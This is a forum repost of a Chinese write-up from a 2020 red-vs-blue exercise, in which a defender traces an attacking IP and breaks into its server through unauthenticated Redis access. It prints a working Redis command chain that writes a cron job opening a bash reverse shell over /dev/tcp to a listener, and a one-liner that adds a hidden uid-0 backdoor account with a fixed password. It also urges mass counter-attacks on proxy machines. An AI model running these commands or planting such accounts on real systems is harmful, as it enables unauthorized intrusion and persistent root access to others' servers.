设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [21246] 2020-09-16_红蓝演习对抗之溯源篇
返回列表 发新帖
查看: 0|回复: 0

[21246] 2020-09-16_红蓝演习对抗之溯源篇

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2020-09-16_红蓝演习对抗之溯源篇 红 蓝 演 习 对 抗 之 溯 源 篇 L e m o n S e c   2 0 2 0 - 0 9 - 1 6 原 创 作 者 ： n i n i _ b o o m ， 作 者 博 客 ： h t t p s : / / b l o g . c s d n . n e t / n i n i _ b o o m 转 载 自 ： 乌 云 安 全 今 年 的 H W 尤 其 特 别 ， 特 别 到 让 人 摸 不 着 头 脑 。 · 防 守 方 安 安 静 静 、 无 报 警 、 无 应 急 、 无 溯 源 。 互 相 打 探 、 互 相 讨 论 ： ‘ 攻 击 队 伍 在 干 嘛 ？ 来 了 吗 ？ 怎 么 还 没 来 ？ ’ · 攻 击 方 小 心 翼 翼 ， 不 用 扫 描 器 、 不 用 脚 本 、 重 装 电 脑 、 清 浏 览 器 缓 存 、 访 问 下 网 站 判 断 是 蜜 罐 立 马 就 撤 离 ， 仿 佛 人 间 蒸 发 一 般 的 招 数 。 往 年 防 守 方 不 扣 分 就 是 赢 ， 今 年 防 守 方 不 抓 到 人 就 ‘ 如 同 ’ 输 。 总 之 今 年 ， 一 切 都 是 静 悄 悄 的 ~ 一 、 流 量 监 测 一 、 流 量 监 测 流 量 中 发 现 有 I P 持 续 在 对 公 司 资 产 进 行 攻 击 。 初 步 判 断 是 有 人 使 用 扫 描 器 在 对 公 司 资 产 进 行 攻 击 。
二 、 溯 源 信 息 二 、 溯 源 信 息 为 了 能 找 到 更 多 攻 击 者 的 信 息 ， 首 选 是 拿 下 攻 击 者 的 服 务 器 。 我 听 取 了 大 神 的 建 议 ， 使 用 g o b y 进 行 初 步 的 扫 描 ， 不 用 不 知 道 ， 一 用 吓 一 跳 。 这 里 吹 一 波 g o b y ， 基 于 g o 内 核 ， 速 度 和 效 率 有 保 证 ， U I 优 雅 ， 采 用   E l e c t r o n + V U E   前 端 框 架 ， 跨 平 台 ， 从 扫 描 到 打 漏 洞 库 ， 乃 至 生 成 报 告 ， 一 条 龙 服 务 了 。 哈 哈 哈 ， 废 话 少 说 ， 看 结 果 。
不 到 5 s ， 结 果 出 来 了 ， 很 明 显 ， 这 里 存 在 r e d i s 未 授 权 访 问 ， 那 就 有 突 破 口 了 。 三 、 拿 下 三 、 拿 下 s h e l l 、 、 r o o t r e d i s 未 授 权   g e t s h e l l 部 分 我 遇 到 了 一 些 小 坎 坷 。 普 通 情 况 下 是 写 入 自 己 的 s s h 公 钥 ， 上 传 至 r e d i s 服 务 器 ， 添 加 至 服 务 器 的 s s h 公 钥 ， 就 可 以 s s h 直 接 登 录 。 但 是 当 我 开 开 心 心 一 步 步 来 做 ， 最 后 一 步 发 现 r e d i s   s a v e 不 了 ， 百 度 了 一 波 ， 发 现 是 权 限 不 够 。 好 吧 ， 就 知 道 没 那 么 顺 利 。 那 怎 么 办 呢 ， 我 想 到 两 个 办 法 ： 一 、 既 然 无 法 写 数 据 到 服 务 器 s s h 目 录 ， 那 么 我 可 以 写 入 r e d i s 表 中 ， 反 弹 s h e l l 。 二 、 找 到 w e b 目 录 ， 尝 试 看 能 不 能 把 s h e l l 写 入 到 w e b 目 录 中 。 当 我 访 问 该 I P 对 应 的 网 站 时 ， 我 直 接 放 弃 第 二 个 方 法 。 别 问 为 什 么 ， 问 就 是 找 不 到 ， 绝 对 不 是 我 懒 。
那 就 试 试 第 二 个 方 法 。 1 2 3 4 5 一 波 操 作 下 来 ， 成 功 了 。 s h e l l 成 功 反 弹 ， 但 是 这 个 时 候 是 半 交 互 式 s h e l l ， 操 作 起 来 实 在 是 不 方 便 。 最 好 是 我 们 自 己 创 建 一 个 管 理 员 用 户 ， 如 果 用 半 交 互 式 v i m 操 作 ， 甭 提 有 多 痛 苦 ， 这 里 分 享 一 句 话 创 建 拥 有 r o o t 管 理 员 的 命 令 。 1 r e d i s - c l i   - h   i p > >   s e t   x   " n *   *   *   *   *   b a s h   - i   > &   / d e v / t c p / 接 收 s h e l l 的 I P / 8 0 0 1   0 > & 1 n " > >   c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / > >   c o n f i g   s e t   d b f i l e n a m e   r o o t > >   s a v e u s e r a d d   - p   ` o p e n s s l   p a s s w d   - 1   - s a l t   ' l s o f '   a d m i n 1 2 3 `   - u   0   - o   - g   r o o t   - G   r o o t   - s   / b i n / b a s h   - d   / u s r / b i n / l s o f   a d m i n
a d m i n 1 2 3 是 密 码 ， 最 后 的 a d m i n 是 用 户 名 。 如 果 u s e r a d d 提 示 " b a s h :   u s e r a d d :   c o m m a n d   n o t   f o u n d " 直 接 1 然 后 再 执 行 以 上 命 令 。 三 、 查 找 攻 击 者 三 、 查 找 攻 击 者 我 用 自 己 创 建 的 s s h 账 号 登 陆 服 务 器 后 ， 查 找 . h i s t o r y 和 l a s t 等 信 息 ， 不 出 意 外 ， 登 陆 信 息 和 历 史 命 令 都 被 攻 击 者 有 意 抹 去 了 。 对 比 攻 击 时 间 和 登 录 时 间 ， 可 以 看 出 来 ， 发 起 攻 击 的 时 间 段 ， 登 录 信 息 都 找 不 到 与 其 对 应 。 这 更 加 肯 定 了 这 是 台 代 理 攻 击 机 无 疑 。 s u   -
好 了 ， 现 在 权 限 拿 下 了 ， 但 是 任 何 线 索 没 有 ， 有 些 小 郁 闷 。 后 来 我 处 于 好 奇 ， 看 看 服 务 器 r e d i s 有 哪 些 数 据 ， 发 现 除 了 几 个 挖 矿 脚 本 之 外 ， 这 个 域 名 让 我 眼 前 一 亮 。 t e a m   r e d ， 很 明 显 是 红 队 。 后 来 经 过 g o b y 扫 描 ， 发 现 这 台 服 务 器 除 了 邮 箱 服 务 器 ， 就 是 f t p 服 务 。 对 应 的 钓 鱼 邮 件 、 远 程 攻 击 p a y l o a d 下 载 ， 红 队 常 用 的 套 路 ， 更 加 确 定 该 台 服 务 器 是 红 队 支 持 服 务 器 性 质 。 看 吧 ， 还 是 疏 漏 了 这 一 点 ， 系 统 痕 迹 都 抹 去 了 ， 唯 独 漏 掉 了 这 点 。 写 在 最 后 的 总 结 ： 1 . 在 实 际 护 网 和 平 时 的 攻 防 演 练 中 ， 代 理 攻 击 机 可 能 成 千 上 万 计 数 。 蓝 军 面 对 海 量 的 I P ， 需 要 做 好 一 个 系 统 ， 对 所 有 I P 批 量 进 行 信 息 收 集 ， 比 如 该 I P 开 放 了 哪 些 端 口 ， 有 没 有 用 w e b 服 务 ， 然 后 自 动 抓 取 w e b 的 t i t l e ， 并 将 所 有 这 些 信 息 进 行 统 计 整 理 成 一 张 表 格 。 最 后 定 制 策 略 和 P O C ， 批 量 的 打 回 去 ， 拿 下 大 量 的 代 理 机 之 后 ， 为 进 一 步 溯 源 提 供 信 息 。 2 . 红 队 不 易 ， 面 对 w a f 、 蜜 罐 、 流 量 筛 选 ， 最 后 在 最 短 时 间 内 做 好 权 限 维 持 ， 都 是 重 重 挑 战 ， 但 是 我 的 最 终 目 标 是 成 为 一 名 优 秀 的 黑 客 ， 有 挑 战 才 有 乐 趣 。 3 . 针 对 第 一 点 ， 蓝 军 对 海 量 攻 击 的 自 动 化 信 息 收 集 ， 完 全 可 以 由 工 具 实 现 ， 也 包 括 P O C 的 定 制 和 选 择 。 这 就 是 我 接 下 来 的 目 标 ， 一 步 步 开 发 出 实 用 性 强 、 瞄 准 痛 点 的 工 具 。
H W 平 安 夜 :   0 9 / 1 2   漏 洞 P A Y l O A D H W 平 安 夜 :   0 9 / 1 4   漏 洞 P A Y l O A D 2 0 2 0 H W 小 技 巧 总 结 （ 献 上 本 人 收 藏 多 年 的 子 域 名 字 典 ） 2 0 2 0 H W 红 方 漏 洞 利 用 总 结 （ 一 ） 2 0 2 0 H W 红 方 漏 洞 利 用 总 结 （ 二 ） 红 队 渗 透 手 册 之 信 息 收 集 篇 H W 演 习 前 的 自 我 信 息 排 查 扫 描 关 注 扫 描 关 注 L e m o n S e c
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:39 , Processed in 0.540241 second(s), 32 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表